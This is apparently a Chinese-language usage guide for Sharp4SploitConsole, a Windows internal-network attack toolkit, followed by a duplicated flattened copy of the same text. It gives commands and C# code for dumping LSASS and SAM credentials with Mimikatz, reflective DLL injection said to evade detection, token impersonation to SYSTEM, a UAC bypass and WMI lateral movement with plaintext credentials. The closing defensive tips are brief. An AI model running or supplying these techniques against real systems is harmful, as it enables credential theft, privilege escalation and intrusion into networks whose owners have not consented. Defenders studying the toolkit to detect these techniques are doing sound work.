Windows 内网渗透工具集 — Sharp4SploitConsole
字数 1376 2025-08-22 12:22:42

Sharp4SploitConsole 渗透测试工具集使用指南

工具概述

Sharp4SploitConsole 是一个基于 .NET 开发的 Windows 渗透测试工具集,集成了多种内网渗透测试功能模块,包括:

  • 凭证提取
  • 权限提升
  • 横向移动
  • 信息收集

核心功能模块详解

1. 获取系统用户登录凭据

命令:

Sharp4SploitConsole.exe logonPasswords

实现原理:

  1. 使用 Mimikatz 命令 privilege::debug sekurlsa::logonPasswords
  2. 通过反射式 DLL 注入技术加载内置的 powerkatz_x64.dll
  3. 从 lsass.exe 进程提取明文密码、NTLM 哈希和 Kerberos 票据

关键代码:

public static string LogonPasswords() {
    return Mimikatz.Command("privilege::debug sekurlsa::logonPasswords");
}

技术细节:

  • 使用 Utilities.GetEmbeddedResourceBytes 从嵌入资源获取 DLL
  • 通过 Overload.OverloadModule 将 DLL 加载到内存
  • 使用反射注入绕过安全检测

2. 转储系统 SAM 数据库

命令:

Sharp4SploitConsole.exe SamDump

实现原理:

  1. 执行 Mimikatz 命令 token::elevate lsadump::sam
  2. 提升权限后从 SAM 数据库提取用户哈希

关键代码:

public static string SamDump() {
    return Mimikatz.Command("token::elevate lsadump::sam");
}

技术要点:

  • token::elevate 提升当前进程权限
  • lsadump::sam 从安全账户管理器提取数据

3. 模拟令牌提升权限

命令:

Sharp4SploitConsole.exe GetSystem

实现流程:

  1. 获取 LocalSystem 的 SID
  2. 转换为 NT 账户名
  3. 模拟该账户令牌

关键代码:

public bool GetSystem() {
    SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null);
    NTAccount ntaccount = (NTAccount)securityIdentifier.Translate(typeof(NTAccount));
    return this.ImpersonateUser(ntaccount.ToString());
}

令牌模拟过程:

  1. 获取目标进程令牌
  2. 使用 DuplicateTokenEx 复制令牌
  3. 调用 ImpersonateLoggedOnUser 模拟令牌

4. 绕过 UAC 执行命令

命令:

Sharp4SploitConsole.exe BypassUAC cmd.exe ipconfig C:\Windows\System32\

实现方法:

  1. 获取高权限进程句柄
  2. 打开进程令牌
  3. 复制并提升令牌权限
  4. 设置强制完整性级别
  5. 创建新进程

关键步骤代码:

// 获取进程句柄
IntPtr intPtr = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, (uint)process.Id);

// 复制令牌
DuplicateTokenEx(zero, 983551U, ref security_ATTRIBUTES, 
    _SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, 
    TOKEN_TYPE.TokenPrimary, out zero2);

// 设置强制完整性级别
AllocateAndInitializeSid(ref sid_IDENTIFIER_AUTHORITY, nSubAuthorityCount, 
    8192, 0, 0, 0, 0, 0, 0, 0, out sid);

// 创建新进程
CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, 
    "password", 2, Path + Binary, Path + Binary + " " + Arguments, 
    67108864, IntPtr.Zero, Path, ref startupinfo, out process_INFORMATION);

5. 获取本地用户组和成员

命令:

Sharp4SploitConsole.exe NetLocalGroupMembers 127.0.0.1 Users .\Administrator

实现原理:

  1. 调用 NetLocalGroupGetMembers API
  2. 解析 LOCALGROUP_MEMBERS_INFO_2 结构体
  3. 转换 SID 为可读格式

关键数据结构:

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct LOCALGROUP_MEMBERS_INFO_2 {
    public IntPtr lgrmi2_sid;
    public int lgrmi2_sidusage;
    [MarshalAs(UnmanagedType.LPWStr)]
    public string lgrmi2_domainandname;
}

6. 通过 WMI 横向移动

命令:

Sharp4SploitConsole WMI 192.168.101.14 Administrator 123456 calc.exe

实现流程:

  1. 建立 WMI 连接
  2. 获取 Win32_Process
  3. 调用 Create 方法执行命令

关键代码:

// 建立连接
ConnectionOptions connectionOptions = new ConnectionOptions();
connectionOptions.Username = Username;
connectionOptions.Password = Password;

ManagementScope managementScope = new ManagementScope(
    $"\\\\{ComputerName}\\root\\cimv2", connectionOptions);

// 执行命令
ManagementClass managementClass = new ManagementClass(managementScope, 
    new ManagementPath("Win32_Process"), new ObjectGetOptions());
    
ManagementBaseObject methodParameters = managementClass.GetMethodParameters("Create");
methodParameters["CommandLine"] = Command;
ManagementBaseObject managementBaseObject = managementClass.InvokeMethod(
    "Create", methodParameters, null);

防御建议

针对 Sharp4SploitConsole 的攻击技术,建议采取以下防御措施:

  1. 凭证保护:

    • 启用 Credential Guard
    • 限制对 LSASS 进程的访问
    • 使用受限制的管理员账户
  2. 权限控制:

    • 实施最小权限原则
    • 监控特权账户活动
    • 禁用不必要的服务账户
  3. UAC 防护:

    • 保持 UAC 最高级别
    • 监控自动提升的进程
    • 审计特权操作
  4. WMI 安全:

    • 限制远程 WMI 访问
    • 监控异常的 WMI 活动
    • 禁用不必要的 WMI 提供程序
  5. 检测机制:

    • 部署 EDR 解决方案
    • 监控反射式 DLL 注入
    • 审计令牌模拟活动

总结

Sharp4SploitConsole 是一个功能强大的内网渗透测试工具集,集成了多种高级攻击技术。安全专业人员可以使用它来测试和评估系统安全性,同时也需要了解其工作原理以构建有效的防御措施。

Sharp4SploitConsole 渗透测试工具集使用指南 工具概述 Sharp4SploitConsole 是一个基于 .NET 开发的 Windows 渗透测试工具集,集成了多种内网渗透测试功能模块,包括: 凭证提取 权限提升 横向移动 信息收集 核心功能模块详解 1. 获取系统用户登录凭据 命令 : 实现原理 : 使用 Mimikatz 命令 privilege::debug sekurlsa::logonPasswords 通过反射式 DLL 注入技术加载内置的 powerkatz_ x64.dll 从 lsass.exe 进程提取明文密码、NTLM 哈希和 Kerberos 票据 关键代码 : 技术细节 : 使用 Utilities.GetEmbeddedResourceBytes 从嵌入资源获取 DLL 通过 Overload.OverloadModule 将 DLL 加载到内存 使用反射注入绕过安全检测 2. 转储系统 SAM 数据库 命令 : 实现原理 : 执行 Mimikatz 命令 token::elevate lsadump::sam 提升权限后从 SAM 数据库提取用户哈希 关键代码 : 技术要点 : token::elevate 提升当前进程权限 lsadump::sam 从安全账户管理器提取数据 3. 模拟令牌提升权限 命令 : 实现流程 : 获取 LocalSystem 的 SID 转换为 NT 账户名 模拟该账户令牌 关键代码 : 令牌模拟过程 : 获取目标进程令牌 使用 DuplicateTokenEx 复制令牌 调用 ImpersonateLoggedOnUser 模拟令牌 4. 绕过 UAC 执行命令 命令 : 实现方法 : 获取高权限进程句柄 打开进程令牌 复制并提升令牌权限 设置强制完整性级别 创建新进程 关键步骤代码 : 5. 获取本地用户组和成员 命令 : 实现原理 : 调用 NetLocalGroupGetMembers API 解析 LOCALGROUP_MEMBERS_INFO_2 结构体 转换 SID 为可读格式 关键数据结构 : 6. 通过 WMI 横向移动 命令 : 实现流程 : 建立 WMI 连接 获取 Win32_Process 类 调用 Create 方法执行命令 关键代码 : 防御建议 针对 Sharp4SploitConsole 的攻击技术,建议采取以下防御措施: 凭证保护 : 启用 Credential Guard 限制对 LSASS 进程的访问 使用受限制的管理员账户 权限控制 : 实施最小权限原则 监控特权账户活动 禁用不必要的服务账户 UAC 防护 : 保持 UAC 最高级别 监控自动提升的进程 审计特权操作 WMI 安全 : 限制远程 WMI 访问 监控异常的 WMI 活动 禁用不必要的 WMI 提供程序 检测机制 : 部署 EDR 解决方案 监控反射式 DLL 注入 审计令牌模拟活动 总结 Sharp4SploitConsole 是一个功能强大的内网渗透测试工具集,集成了多种高级攻击技术。安全专业人员可以使用它来测试和评估系统安全性,同时也需要了解其工作原理以构建有效的防御措施。